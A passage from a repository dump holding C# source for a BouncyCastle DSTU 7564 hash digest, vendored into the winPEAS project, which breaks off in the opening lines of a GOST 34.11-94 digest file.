    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n   * implementation of Ukrainian DSTU 7564 hash function\n   */\n    public class Dstu7564Digest\n        : IDigest, IMemoable\n    {\n        private const int NB_512 = 8;  //Number of 8-byte words in state for <=256-bit hash code.\n        private const int NB_1024 = 16;  //Number of 8-byte words in state for <=512-bit hash code. \n\n        private const int NR_512 = 10;  //Number of rounds for 512-bit state.\n        private const int NR_1024 = 14;  //Number of rounds for 1024-bit state.\n\n        private int hashSize;\n        private int blockSize;\n\n        private int columns;\n        private int rounds;\n\n        private ulong[] state;\n        private ulong[] tempState1;\n        private ulong[] tempState2;\n\n        // TODO Guard against 'inputBlocks' overflow (2^64 blocks)\n        private ulong inputBlocks;\n        private int bufOff;\n        private byte[] buf;\n\n        public Dstu7564Digest(Dstu7564Digest digest)\n        {\n            CopyIn(digest);\n        }\n\n        private void CopyIn(Dstu7564Digest digest)\n        {\n            this.hashSize = digest.hashSize;\n            this.blockSize = digest.blockSize;\n\n            this.rounds = digest.rounds;\n            if (columns > 0 && columns == digest.columns)\n            {\n                Array.Copy(digest.state, 0, state, 0, columns);\n                Array.Copy(digest.buf, 0, buf, 0, blockSize);\n            }\n            else\n            {\n                this.columns = digest.columns;\n                this.state = Arrays.Clone(digest.state);\n                this.tempState1 = new ulong[columns];\n                this.tempState2 = new ulong[columns];\n                this.buf = Arrays.Clone(digest.buf);\n            }\n\n            this.inputBlocks = digest.inputBlocks;\n            this.bufOff = digest.bufOff;\n        }\n\n        public Dstu7564Digest(int hashSizeBits)\n        {\n            if (hashSizeBits == 256 || hashSizeBits == 384 || hashSizeBits == 512)\n            {\n                this.hashSize = hashSizeBits / 8;\n            }\n            else\n            {\n                throw new ArgumentException(\"Hash size is not recommended. Use 256/384/512 instead\");\n            }\n\n            if (hashSizeBits > 256)\n            {\n                this.columns = NB_1024;\n                this.rounds = NR_1024;\n            }\n            else\n            {\n                this.columns = NB_512;\n                this.rounds = NR_512;\n            }\n\n            this.blockSize = columns << 3;\n\n            this.state = new ulong[columns];\n            this.state[0] = (ulong)blockSize;\n\n            this.tempState1 = new ulong[columns];\n            this.tempState2 = new ulong[columns];\n\n            this.buf = new byte[blockSize];\n        }\n\n        public virtual string AlgorithmName\n        {\n            get { return \"DSTU7564\"; }\n        }\n\n        public virtual int GetDigestSize()\n        {\n            return hashSize;\n        }\n\n        public virtual int GetByteLength()\n        {\n            return blockSize;\n        }\n\n        public virtual void Update(byte input)\n        {\n            buf[bufOff++] = input;\n            if (bufOff == blockSize)\n            {\n                ProcessBlock(buf, 0);\n                bufOff = 0;\n                ++inputBlocks;\n            }\n        }\n\n        public virtual void BlockUpdate(byte[] input, int inOff, int length)\n        {\n            while (bufOff != 0 && length > 0)\n            {\n                Update(input[inOff++]);\n                --length;\n            }\n\n            if (length > 0)\n            {\n                while (length >= blockSize)\n                {\n                    ProcessBlock(input, inOff);\n                    inOff += blockSize;\n                    length -= blockSize;\n                    ++inputBlocks;\n                }\n\n                while (length > 0)\n                {\n                    Update(input[inOff++]);\n                    --length;\n                }\n            }\n        }\n\n        public virtual int DoFinal(byte[] output, int outOff)\n        {\n            // Apply padding: terminator byte and 96-bit length field\n            {\n                int inputBytes = bufOff;\n                buf[bufOff++] = (byte)0x80;\n\n                int lenPos = blockSize - 12;\n                if (bufOff > lenPos)\n                {\n                    while (bufOff < blockSize)\n                    {\n                        buf[bufOff++] = 0;\n                    }\n                    bufOff = 0;\n                    ProcessBlock(buf, 0);\n                }\n\n                while (bufOff < lenPos)\n                {\n                    buf[bufOff++] = 0;\n                }\n\n                ulong c = ((inputBlocks & 0xFFFFFFFFUL) * (ulong)blockSize + (uint)inputBytes) << 3;\n                Pack.UInt32_To_LE((uint)c, buf, bufOff);\n                bufOff += 4;\n                c >>= 32;\n                c += ((inputBlocks >> 32) * (ulong)blockSize) << 3;\n                Pack.UInt64_To_LE(c, buf, bufOff);\n    //            bufOff += 8;\n                ProcessBlock(buf, 0);\n            }\n\n            {\n                Array.Copy(state, 0, tempState1, 0, columns);\n\n                P(tempState1);\n\n                for (int col = 0; col < columns; ++col)\n                {\n                    state[col] ^= tempState1[col];\n                }\n            }\n\n            int neededColumns = hashSize / 8;\n            for (int col = columns - neededColumns; col < columns; ++col)\n            {\n                Pack.UInt64_To_LE(state[col], output, outOff);\n                outOff += 8;\n            }\n\n            Reset();\n\n            return hashSize;\n        }\n\n        public virtual void Reset()\n        {\n            Array.Clear(state, 0, state.Length);\n            state[0] = (ulong)blockSize;\n\n            inputBlocks = 0;\n            bufOff = 0;\n        }\n\n        protected virtual void ProcessBlock(byte[] input, int inOff)\n        {\n            int pos = inOff;\n            for (int col = 0; col < columns; ++col)\n            {\n                ulong word = Pack.LE_To_UInt64(input, pos);\n                pos += 8;\n\n                tempState1[col] = state[col] ^ word;\n                tempState2[col] = word;\n            }\n\n            P(tempState1);\n            Q(tempState2);\n\n            for (int col = 0; col < columns; ++col)\n            {\n                state[col] ^= tempState1[col] ^ tempState2[col];\n            }\n        }\n\n        private void P(ulong[] s)\n        {\n            for (int round = 0; round < rounds; ++round)\n            {\n                ulong rc = (ulong)round;\n\n                /* AddRoundConstants */\n                for (int col = 0; col < columns; ++col)\n                {\n                    s[col] ^= rc;\n                    rc += 0x10L;\n                }\n\n                ShiftRows(s);\n                SubBytes(s);\n                MixColumns(s);\n            }\n        }\n\n        private void Q(ulong[] s)\n        {\n            for (int round = 0; round < rounds; ++round)\n            {\n                /* AddRoundConstantsQ */\n                ulong rc = ((ulong)(((columns - 1) << 4) ^ round) << 56) | 0x00F0F0F0F0F0F0F3UL;\n\n                for (int col = 0; col < columns; ++col)\n                {\n                    s[col] += rc;\n                    rc -= 0x1000000000000000L;\n                }\n\n                ShiftRows(s);\n                SubBytes(s);\n                MixColumns(s);\n            }\n        }\n\n        private static ulong MixColumn(ulong c)\n        {\n            //// Calculate column multiplied by powers of 'x'\n            //ulong x0 = c;\n            //ulong x1 = ((x0 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x0 & 0x8080808080808080UL) >> 7) * 0x1DUL);\n            //ulong x2 = ((x1 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x1 & 0x8080808080808080UL) >> 7) * 0x1DUL);\n            //ulong x3 = ((x2 & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((x2 & 0x8080808080808080UL) >> 7) * 0x1DUL);\n\n            //// Calculate products with circulant matrix from (0x01, 0x01, 0x05, 0x01, 0x08, 0x06, 0x07, 0x04)\n            //ulong m0 = x0;\n            //ulong m1 = x0;\n            //ulong m2 = x0 ^ x2;\n            //ulong m3 = x0;\n            //ulong m4 = x3;\n            //ulong m5 = x1 ^ x2;\n            //ulong m6 = x0 ^ x1 ^ x2;\n            //ulong m7 = x2;\n\n            //// Assemble the rotated products\n            //return m0\n            //    ^ Rotate(8, m1)\n            //    ^ Rotate(16, m2)\n            //    ^ Rotate(24, m3)\n            //    ^ Rotate(32, m4)\n            //    ^ Rotate(40, m5)\n            //    ^ Rotate(48, m6)\n            //    ^ Rotate(56, m7);\n\n            // Multiply elements by 'x'\n            ulong x1 = ((c & 0x7F7F7F7F7F7F7F7FUL) << 1) ^ (((c & 0x8080808080808080UL) >> 7) * 0x1DUL);\n            ulong u, v;\n\n            u  = Rotate(8, c) ^ c;\n            u ^= Rotate(16, u);\n            u ^= Rotate(48, c);\n\n            v  = u ^ c ^ x1;\n\n            // Multiply elements by 'x^2'\n            v  = ((v & 0x3F3F3F3F3F3F3F3FUL) << 2) ^ (((v & 0x8080808080808080UL) >> 6) * 0x1DUL) ^ (((v & 0x4040404040404040UL) >> 6) * 0x1DUL);\n\n            return u ^ Rotate(32, v) ^ Rotate(40, x1) ^ Rotate(48, x1);\n        }\n\n        private void MixColumns(ulong[] s)\n        {\n            for (int col = 0; col < columns; ++col)\n            {\n                s[col] = MixColumn(s[col]);\n            }\n        }\n\n        private static ulong Rotate(int n, ulong x)\n        {\n            return (x >> n) | (x << -n);\n        }\n\n        private void ShiftRows(ulong[] s)\n        {\n            switch (columns)\n            {\n            case NB_512:\n            {\n                ulong c0 = s[0], c1 = s[1], c2 = s[2], c3 = s[3];\n                ulong c4 = s[4], c5 = s[5], c6 = s[6], c7 = s[7];\n                ulong d;\n\n                d = (c0 ^ c4) & 0xFFFFFFFF00000000UL; c0 ^= d; c4 ^= d;\n                d = (c1 ^ c5) & 0x00FFFFFFFF000000UL; c1 ^= d; c5 ^= d;\n                d = (c2 ^ c6) & 0x0000FFFFFFFF0000UL; c2 ^= d; c6 ^= d;\n                d = (c3 ^ c7) & 0x000000FFFFFFFF00UL; c3 ^= d; c7 ^= d;\n\n                d = (c0 ^ c2) & 0xFFFF0000FFFF0000UL; c0 ^= d; c2 ^= d;\n                d = (c1 ^ c3) & 0x00FFFF0000FFFF00UL; c1 ^= d; c3 ^= d;\n                d = (c4 ^ c6) & 0xFFFF0000FFFF0000UL; c4 ^= d; c6 ^= d;\n                d = (c5 ^ c7) & 0x00FFFF0000FFFF00UL; c5 ^= d; c7 ^= d;\n\n                d = (c0 ^ c1) & 0xFF00FF00FF00FF00UL; c0 ^= d; c1 ^= d;\n                d = (c2 ^ c3) & 0xFF00FF00FF00FF00UL; c2 ^= d; c3 ^= d;\n                d = (c4 ^ c5) & 0xFF00FF00FF00FF00UL; c4 ^= d; c5 ^= d;\n                d = (c6 ^ c7) & 0xFF00FF00FF00FF00UL; c6 ^= d; c7 ^= d;\n\n                s[0] = c0; s[1] = c1; s[2] = c2; s[3] = c3;\n                s[4] = c4; s[5] = c5; s[6] = c6; s[7] = c7;\n                break;\n            }\n            case NB_1024:\n            {\n                ulong c00 = s[0], c01 = s[1], c02 = s[2], c03 = s[3];\n                ulong c04 = s[4], c05 = s[5], c06 = s[6], c07 = s[7];\n                ulong c08 = s[8], c09 = s[9], c10 = s[10], c11 = s[11];\n                ulong c12 = s[12], c13 = s[13], c14 = s[14], c15 = s[15];\n                ulong d;\n\n                // NOTE: Row 7 is shifted by 11\n\n                d = (c00 ^ c08) & 0xFF00000000000000UL; c00 ^= d; c08 ^= d;\n                d = (c01 ^ c09) & 0xFF00000000000000UL; c01 ^= d; c09 ^= d;\n                d = (c02 ^ c10) & 0xFFFF000000000000UL; c02 ^= d; c10 ^= d;\n                d = (c03 ^ c11) & 0xFFFFFF0000000000UL; c03 ^= d; c11 ^= d;\n                d = (c04 ^ c12) & 0xFFFFFFFF00000000UL; c04 ^= d; c12 ^= d;\n                d = (c05 ^ c13) & 0x00FFFFFFFF000000UL; c05 ^= d; c13 ^= d;\n                d = (c06 ^ c14) & 0x00FFFFFFFFFF0000UL; c06 ^= d; c14 ^= d;\n                d = (c07 ^ c15) & 0x00FFFFFFFFFFFF00UL; c07 ^= d; c15 ^= d;\n\n                d = (c00 ^ c04) & 0x00FFFFFF00000000UL; c00 ^= d; c04 ^= d;\n                d = (c01 ^ c05) & 0xFFFFFFFFFF000000UL; c01 ^= d; c05 ^= d;\n                d = (c02 ^ c06) & 0xFF00FFFFFFFF0000UL; c02 ^= d; c06 ^= d;\n                d = (c03 ^ c07) & 0xFF0000FFFFFFFF00UL; c03 ^= d; c07 ^= d;\n                d = (c08 ^ c12) & 0x00FFFFFF00000000UL; c08 ^= d; c12 ^= d;\n                d = (c09 ^ c13) & 0xFFFFFFFFFF000000UL; c09 ^= d; c13 ^= d;\n                d = (c10 ^ c14) & 0xFF00FFFFFFFF0000UL; c10 ^= d; c14 ^= d;\n                d = (c11 ^ c15) & 0xFF0000FFFFFFFF00UL; c11 ^= d; c15 ^= d;\n\n                d = (c00 ^ c02) & 0xFFFF0000FFFF0000UL; c00 ^= d; c02 ^= d;\n                d = (c01 ^ c03) & 0x00FFFF0000FFFF00UL; c01 ^= d; c03 ^= d;\n                d = (c04 ^ c06) & 0xFFFF0000FFFF0000UL; c04 ^= d; c06 ^= d;\n                d = (c05 ^ c07) & 0x00FFFF0000FFFF00UL; c05 ^= d; c07 ^= d;\n                d = (c08 ^ c10) & 0xFFFF0000FFFF0000UL; c08 ^= d; c10 ^= d;\n                d = (c09 ^ c11) & 0x00FFFF0000FFFF00UL; c09 ^= d; c11 ^= d;\n                d = (c12 ^ c14) & 0xFFFF0000FFFF0000UL; c12 ^= d; c14 ^= d;\n                d = (c13 ^ c15) & 0x00FFFF0000FFFF00UL; c13 ^= d; c15 ^= d;\n\n                d = (c00 ^ c01) & 0xFF00FF00FF00FF00UL; c00 ^= d; c01 ^= d;\n                d = (c02 ^ c03) & 0xFF00FF00FF00FF00UL; c02 ^= d; c03 ^= d;\n                d = (c04 ^ c05) & 0xFF00FF00FF00FF00UL; c04 ^= d; c05 ^= d;\n                d = (c06 ^ c07) & 0xFF00FF00FF00FF00UL; c06 ^= d; c07 ^= d;\n                d = (c08 ^ c09) & 0xFF00FF00FF00FF00UL; c08 ^= d; c09 ^= d;\n                d = (c10 ^ c11) & 0xFF00FF00FF00FF00UL; c10 ^= d; c11 ^= d;\n                d = (c12 ^ c13) & 0xFF00FF00FF00FF00UL; c12 ^= d; c13 ^= d;\n                d = (c14 ^ c15) & 0xFF00FF00FF00FF00UL; c14 ^= d; c15 ^= d;\n\n                s[0] = c00; s[1] = c01; s[2] = c02; s[3] = c03;\n                s[4] = c04; s[5] = c05; s[6] = c06; s[7] = c07;\n                s[8] = c08; s[9] = c09; s[10] = c10; s[11] = c11;\n                s[12] = c12; s[13] = c13; s[14] = c14; s[15] = c15;\n                break;\n            }\n            default:\n            {\n                throw new InvalidOperationException(\"unsupported state size: only 512/1024 are allowed\");\n            }\n            }\n        }\n\n        private void SubBytes(ulong[] s)\n        {\n            for (int i = 0; i < columns; ++i)\n            {\n                ulong u = s[i];\n                uint lo = (uint)u, hi = (uint)(u >> 32);\n                byte t0 = S0[lo & 0xFF];\n                byte t1 = S1[(lo >> 8) & 0xFF];\n                byte t2 = S2[(lo >> 16) & 0xFF];\n                byte t3 = S3[lo >> 24];\n                lo = (uint)t0 | ((uint)t1 << 8) | ((uint)t2 << 16) | ((uint)t3 << 24);\n                byte t4 = S0[hi & 0xFF];\n                byte t5 = S1[(hi >> 8) & 0xFF];\n                byte t6 = S2[(hi >> 16) & 0xFF];\n                byte t7 = S3[hi >> 24];\n                hi = (uint)t4 | ((uint)t5 << 8) | ((uint)t6 << 16) | ((uint)t7 << 24);\n                s[i] = (ulong)lo | ((ulong)hi << 32);\n            }\n        }\n\n        private static readonly byte[] S0 = new byte[] {\n            0xa8, 0x43, 0x5f, 0x06, 0x6b, 0x75, 0x6c, 0x59, 0x71, 0xdf, 0x87, 0x95, 0x17, 0xf0, 0xd8, 0x09, \n            0x6d, 0xf3, 0x1d, 0xcb, 0xc9, 0x4d, 0x2c, 0xaf, 0x79, 0xe0, 0x97, 0xfd, 0x6f, 0x4b, 0x45, 0x39, \n            0x3e, 0xdd, 0xa3, 0x4f, 0xb4, 0xb6, 0x9a, 0x0e, 0x1f, 0xbf, 0x15, 0xe1, 0x49, 0xd2, 0x93, 0xc6, \n            0x92, 0x72, 0x9e, 0x61, 0xd1, 0x63, 0xfa, 0xee, 0xf4, 0x19, 0xd5, 0xad, 0x58, 0xa4, 0xbb, 0xa1, \n            0xdc, 0xf2, 0x83, 0x37, 0x42, 0xe4, 0x7a, 0x32, 0x9c, 0xcc, 0xab, 0x4a, 0x8f, 0x6e, 0x04, 0x27, \n            0x2e, 0xe7, 0xe2, 0x5a, 0x96, 0x16, 0x23, 0x2b, 0xc2, 0x65, 0x66, 0x0f, 0xbc, 0xa9, 0x47, 0x41, \n            0x34, 0x48, 0xfc, 0xb7, 0x6a, 0x88, 0xa5, 0x53, 0x86, 0xf9, 0x5b, 0xdb, 0x38, 0x7b, 0xc3, 0x1e, \n            0x22, 0x33, 0x24, 0x28, 0x36, 0xc7, 0xb2, 0x3b, 0x8e, 0x77, 0xba, 0xf5, 0x14, 0x9f, 0x08, 0x55, \n            0x9b, 0x4c, 0xfe, 0x60, 0x5c, 0xda, 0x18, 0x46, 0xcd, 0x7d, 0x21, 0xb0, 0x3f, 0x1b, 0x89, 0xff, \n            0xeb, 0x84, 0x69, 0x3a, 0x9d, 0xd7, 0xd3, 0x70, 0x67, 0x40, 0xb5, 0xde, 0x5d, 0x30, 0x91, 0xb1, \n            0x78, 0x11, 0x01, 0xe5, 0x00, 0x68, 0x98, 0xa0, 0xc5, 0x02, 0xa6, 0x74, 0x2d, 0x0b, 0xa2, 0x76, \n            0xb3, 0xbe, 0xce, 0xbd, 0xae, 0xe9, 0x8a, 0x31, 0x1c, 0xec, 0xf1, 0x99, 0x94, 0xaa, 0xf6, 0x26, \n            0x2f, 0xef, 0xe8, 0x8c, 0x35, 0x03, 0xd4, 0x7f, 0xfb, 0x05, 0xc1, 0x5e, 0x90, 0x20, 0x3d, 0x82, \n            0xf7, 0xea, 0x0a, 0x0d, 0x7e, 0xf8, 0x50, 0x1a, 0xc4, 0x07, 0x57, 0xb8, 0x3c, 0x62, 0xe3, 0xc8, \n            0xac, 0x52, 0x64, 0x10, 0xd0, 0xd9, 0x13, 0x0c, 0x12, 0x29, 0x51, 0xb9, 0xcf, 0xd6, 0x73, 0x8d, \n            0x81, 0x54, 0xc0, 0xed, 0x4e, 0x44, 0xa7, 0x2a, 0x85, 0x25, 0xe6, 0xca, 0x7c, 0x8b, 0x56, 0x80\n        };\n\n        private static readonly byte[] S1 = new byte[] {\n            0xce, 0xbb, 0xeb, 0x92, 0xea, 0xcb, 0x13, 0xc1, 0xe9, 0x3a, 0xd6, 0xb2, 0xd2, 0x90, 0x17, 0xf8, \n            0x42, 0x15, 0x56, 0xb4, 0x65, 0x1c, 0x88, 0x43, 0xc5, 0x5c, 0x36, 0xba, 0xf5, 0x57, 0x67, 0x8d, \n            0x31, 0xf6, 0x64, 0x58, 0x9e, 0xf4, 0x22, 0xaa, 0x75, 0x0f, 0x02, 0xb1, 0xdf, 0x6d, 0x73, 0x4d, \n            0x7c, 0x26, 0x2e, 0xf7, 0x08, 0x5d, 0x44, 0x3e, 0x9f, 0x14, 0xc8, 0xae, 0x54, 0x10, 0xd8, 0xbc, \n            0x1a, 0x6b, 0x69, 0xf3, 0xbd, 0x33, 0xab, 0xfa, 0xd1, 0x9b, 0x68, 0x4e, 0x16, 0x95, 0x91, 0xee, \n            0x4c, 0x63, 0x8e, 0x5b, 0xcc, 0x3c, 0x19, 0xa1, 0x81, 0x49, 0x7b, 0xd9, 0x6f, 0x37, 0x60, 0xca, \n            0xe7, 0x2b, 0x48, 0xfd, 0x96, 0x45, 0xfc, 0x41, 0x12, 0x0d, 0x79, 0xe5, 0x89, 0x8c, 0xe3, 0x20, \n            0x30, 0xdc, 0xb7, 0x6c, 0x4a, 0xb5, 0x3f, 0x97, 0xd4, 0x62, 0x2d, 0x06, 0xa4, 0xa5, 0x83, 0x5f, \n            0x2a, 0xda, 0xc9, 0x00, 0x7e, 0xa2, 0x55, 0xbf, 0x11, 0xd5, 0x9c, 0xcf, 0x0e, 0x0a, 0x3d, 0x51, \n            0x7d, 0x93, 0x1b, 0xfe, 0xc4, 0x47, 0x09, 0x86, 0x0b, 0x8f, 0x9d, 0x6a, 0x07, 0xb9, 0xb0, 0x98, \n            0x18, 0x32, 0x71, 0x4b, 0xef, 0x3b, 0x70, 0xa0, 0xe4, 0x40, 0xff, 0xc3, 0xa9, 0xe6, 0x78, 0xf9, \n            0x8b, 0x46, 0x80, 0x1e, 0x38, 0xe1, 0xb8, 0xa8, 0xe0, 0x0c, 0x23, 0x76, 0x1d, 0x25, 0x24, 0x05, \n            0xf1, 0x6e, 0x94, 0x28, 0x9a, 0x84, 0xe8, 0xa3, 0x4f, 0x77, 0xd3, 0x85, 0xe2, 0x52, 0xf2, 0x82, \n            0x50, 0x7a, 0x2f, 0x74, 0x53, 0xb3, 0x61, 0xaf, 0x39, 0x35, 0xde, 0xcd, 0x1f, 0x99, 0xac, 0xad, \n            0x72, 0x2c, 0xdd, 0xd0, 0x87, 0xbe, 0x5e, 0xa6, 0xec, 0x04, 0xc6, 0x03, 0x34, 0xfb, 0xdb, 0x59, \n            0xb6, 0xc2, 0x01, 0xf0, 0x5a, 0xed, 0xa7, 0x66, 0x21, 0x7f, 0x8a, 0x27, 0xc7, 0xc0, 0x29, 0xd7\n        };\n\n        private static readonly byte[] S2 = new byte[] {\n            0x93, 0xd9, 0x9a, 0xb5, 0x98, 0x22, 0x45, 0xfc, 0xba, 0x6a, 0xdf, 0x02, 0x9f, 0xdc, 0x51, 0x59, \n            0x4a, 0x17, 0x2b, 0xc2, 0x94, 0xf4, 0xbb, 0xa3, 0x62, 0xe4, 0x71, 0xd4, 0xcd, 0x70, 0x16, 0xe1, \n            0x49, 0x3c, 0xc0, 0xd8, 0x5c, 0x9b, 0xad, 0x85, 0x53, 0xa1, 0x7a, 0xc8, 0x2d, 0xe0, 0xd1, 0x72, \n            0xa6, 0x2c, 0xc4, 0xe3, 0x76, 0x78, 0xb7, 0xb4, 0x09, 0x3b, 0x0e, 0x41, 0x4c, 0xde, 0xb2, 0x90, \n            0x25, 0xa5, 0xd7, 0x03, 0x11, 0x00, 0xc3, 0x2e, 0x92, 0xef, 0x4e, 0x12, 0x9d, 0x7d, 0xcb, 0x35, \n            0x10, 0xd5, 0x4f, 0x9e, 0x4d, 0xa9, 0x55, 0xc6, 0xd0, 0x7b, 0x18, 0x97, 0xd3, 0x36, 0xe6, 0x48, \n            0x56, 0x81, 0x8f, 0x77, 0xcc, 0x9c, 0xb9, 0xe2, 0xac, 0xb8, 0x2f, 0x15, 0xa4, 0x7c, 0xda, 0x38, \n            0x1e, 0x0b, 0x05, 0xd6, 0x14, 0x6e, 0x6c, 0x7e, 0x66, 0xfd, 0xb1, 0xe5, 0x60, 0xaf, 0x5e, 0x33, \n            0x87, 0xc9, 0xf0, 0x5d, 0x6d, 0x3f, 0x88, 0x8d, 0xc7, 0xf7, 0x1d, 0xe9, 0xec, 0xed, 0x80, 0x29, \n            0x27, 0xcf, 0x99, 0xa8, 0x50, 0x0f, 0x37, 0x24, 0x28, 0x30, 0x95, 0xd2, 0x3e, 0x5b, 0x40, 0x83, \n            0xb3, 0x69, 0x57, 0x1f, 0x07, 0x1c, 0x8a, 0xbc, 0x20, 0xeb, 0xce, 0x8e, 0xab, 0xee, 0x31, 0xa2, \n            0x73, 0xf9, 0xca, 0x3a, 0x1a, 0xfb, 0x0d, 0xc1, 0xfe, 0xfa, 0xf2, 0x6f, 0xbd, 0x96, 0xdd, 0x43, \n            0x52, 0xb6, 0x08, 0xf3, 0xae, 0xbe, 0x19, 0x89, 0x32, 0x26, 0xb0, 0xea, 0x4b, 0x64, 0x84, 0x82, \n            0x6b, 0xf5, 0x79, 0xbf, 0x01, 0x5f, 0x75, 0x63, 0x1b, 0x23, 0x3d, 0x68, 0x2a, 0x65, 0xe8, 0x91, \n            0xf6, 0xff, 0x13, 0x58, 0xf1, 0x47, 0x0a, 0x7f, 0xc5, 0xa7, 0xe7, 0x61, 0x5a, 0x06, 0x46, 0x44, \n            0x42, 0x04, 0xa0, 0xdb, 0x39, 0x86, 0x54, 0xaa, 0x8c, 0x34, 0x21, 0x8b, 0xf8, 0x0c, 0x74, 0x67\n        };\n\n        private static readonly byte[] S3 = new byte[] {\n            0x68, 0x8d, 0xca, 0x4d, 0x73, 0x4b, 0x4e, 0x2a, 0xd4, 0x52, 0x26, 0xb3, 0x54, 0x1e, 0x19, 0x1f, \n            0x22, 0x03, 0x46, 0x3d, 0x2d, 0x4a, 0x53, 0x83, 0x13, 0x8a, 0xb7, 0xd5, 0x25, 0x79, 0xf5, 0xbd, \n            0x58, 0x2f, 0x0d, 0x02, 0xed, 0x51, 0x9e, 0x11, 0xf2, 0x3e, 0x55, 0x5e, 0xd1, 0x16, 0x3c, 0x66, \n            0x70, 0x5d, 0xf3, 0x45, 0x40, 0xcc, 0xe8, 0x94, 0x56, 0x08, 0xce, 0x1a, 0x3a, 0xd2, 0xe1, 0xdf, \n            0xb5, 0x38, 0x6e, 0x0e, 0xe5, 0xf4, 0xf9, 0x86, 0xe9, 0x4f, 0xd6, 0x85, 0x23, 0xcf, 0x32, 0x99, \n            0x31, 0x14, 0xae, 0xee, 0xc8, 0x48, 0xd3, 0x30, 0xa1, 0x92, 0x41, 0xb1, 0x18, 0xc4, 0x2c, 0x71, \n            0x72, 0x44, 0x15, 0xfd, 0x37, 0xbe, 0x5f, 0xaa, 0x9b, 0x88, 0xd8, 0xab, 0x89, 0x9c, 0xfa, 0x60, \n            0xea, 0xbc, 0x62, 0x0c, 0x24, 0xa6, 0xa8, 0xec, 0x67, 0x20, 0xdb, 0x7c, 0x28, 0xdd, 0xac, 0x5b, \n            0x34, 0x7e, 0x10, 0xf1, 0x7b, 0x8f, 0x63, 0xa0, 0x05, 0x9a, 0x43, 0x77, 0x21, 0xbf, 0x27, 0x09, \n            0xc3, 0x9f, 0xb6, 0xd7, 0x29, 0xc2, 0xeb, 0xc0, 0xa4, 0x8b, 0x8c, 0x1d, 0xfb, 0xff, 0xc1, 0xb2, \n            0x97, 0x2e, 0xf8, 0x65, 0xf6, 0x75, 0x07, 0x04, 0x49, 0x33, 0xe4, 0xd9, 0xb9, 0xd0, 0x42, 0xc7, \n            0x6c, 0x90, 0x00, 0x8e, 0x6f, 0x50, 0x01, 0xc5, 0xda, 0x47, 0x3f, 0xcd, 0x69, 0xa2, 0xe2, 0x7a, \n            0xa7, 0xc6, 0x93, 0x0f, 0x0a, 0x06, 0xe6, 0x2b, 0x96, 0xa3, 0x1c, 0xaf, 0x6a, 0x12, 0x84, 0x39, \n            0xe7, 0xb0, 0x82, 0xf7, 0xfe, 0x9d, 0x87, 0x5c, 0x81, 0x35, 0xde, 0xb4, 0xa5, 0xfc, 0x80, 0xef, \n            0xcb, 0xbb, 0x6b, 0x76, 0xba, 0x5a, 0x7d, 0x78, 0x0b, 0x95, 0xe3, 0xad, 0x74, 0x98, 0x3b, 0x36, \n            0x64, 0x6d, 0xdc, 0xf0, 0x59, 0xa9, 0x4c, 0x17, 0x7f, 0x91, 0xb8, 0xc9, 0x57, 0x1b, 0xe0, 0x61\n        };\n\n        public virtual IMemoable Copy()\n        {\n            return new Dstu7564Digest(this);\n        }\n\n        public virtual void Reset(IMemoable other)\n        {\n            Dstu7564Digest d = (Dstu7564Digest)other;\n\n            CopyIn(d);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.engines;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\t/**\n\t* implementation of GOST R 34.11-94\n\t*/\n\tpublic class Gost3411Digest\n\t\t: IDigest, IMemoable\n\t{\n\t\tprivate const int DIGEST_LENGTH = 32;\n\n\t\tprivate byte[]\tH = new byte[32], L = new byte[32],\n\t\t\t\t\t\tM = new byte[32], Sum = new byte[32];\n\t\tprivate byte[][] C = MakeC();\n\n\t\tprivate byte[]\txBuf = new byte[32];\n\t\tprivate int\t\txBufOff;\n\t\tprivate ulong\tbyteCount;\n\n\t\tprivate readonly IBlockCipher cipher = new Gost28147Engine();\n\t\tprivate byte[] sBox;\n\n\t\tprivate static byte[][] MakeC()\n\t\t{\n\t\t\tbyte[][] c = new byte[4][];\n\t\t\tfor (int i = 0; i < 4; ++i)\n\t\t\t{\n\t\t\t\tc[i] = new byte[32];\n\t\t\t}\n\t\t\treturn c;\n\t\t}\n\n\t\t/**\n\t\t * Standard constructor\n\t\t */\n\t\tpublic Gost3411Digest()\n\t\t{\n\t\t\tsBox = Gost28147Engine.GetSBox(\"D-A\");\n\t\t\tcipher.Init(true, new ParametersWithSBox(null, sBox));\n\n\t\t\tReset();\n\t\t}\n\n\t\t/**\n\t\t * Constructor to allow use of a particular sbox with GOST28147\n\t\t * @see GOST28147Engine#getSBox(String)\n\t\t */\n\t\tpublic Gost3411Digest(byte[] sBoxParam)\n\t\t{\n\t\t\tsBox = Arrays.Clone(sBoxParam);\n\t\t\tcipher.Init(true, new ParametersWithSBox(null, sBox));\n\n\t\t\tReset();\n\t\t}\n\n\t\t/**\n\t\t * Copy constructor.  This will copy the state of the provided\n\t\t * message digest.\n\t\t */\n\t\tpublic Gost3411Digest(Gost3411Digest t)\n\t\t{\n\t\t\tReset(t);\n\t\t}\n\n\t\tpublic string AlgorithmName\n\t\t{\n\t\t\tget { return \"Gost3411\"; }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn DIGEST_LENGTH;\n\t\t}\n\n\t\tpublic void Update(\n\t\t\tbyte input)\n\t\t{\n\t\t\txBuf[xBufOff++] = input;\n\t\t\tif (xBufOff == xBuf.Length)\n\t\t\t{\n\t\t\t\tsumByteArray(xBuf); // calc sum M\n\t\t\t\tprocessBlock(xBuf, 0);\n\t\t\t\txBufOff = 0;\n\t\t\t}\n\t\t\tbyteCount++;\n\t\t}\n\n\t\tpublic void BlockUpdate(\n\t\t\tbyte[]\tinput,\n\t\t\tint\t\tinOff,\n\t\t\tint\t\tlength)\n\t\t{\n\t\t\twhile ((xBufOff != 0) && (length > 0))\n\t\t\t{\n\t\t\t\tUpdate(input[inOff]);\n\t\t\t\tinOff++;\n\t\t\t\tlength--;\n\t\t\t}\n\n\t\t\twhile (length > 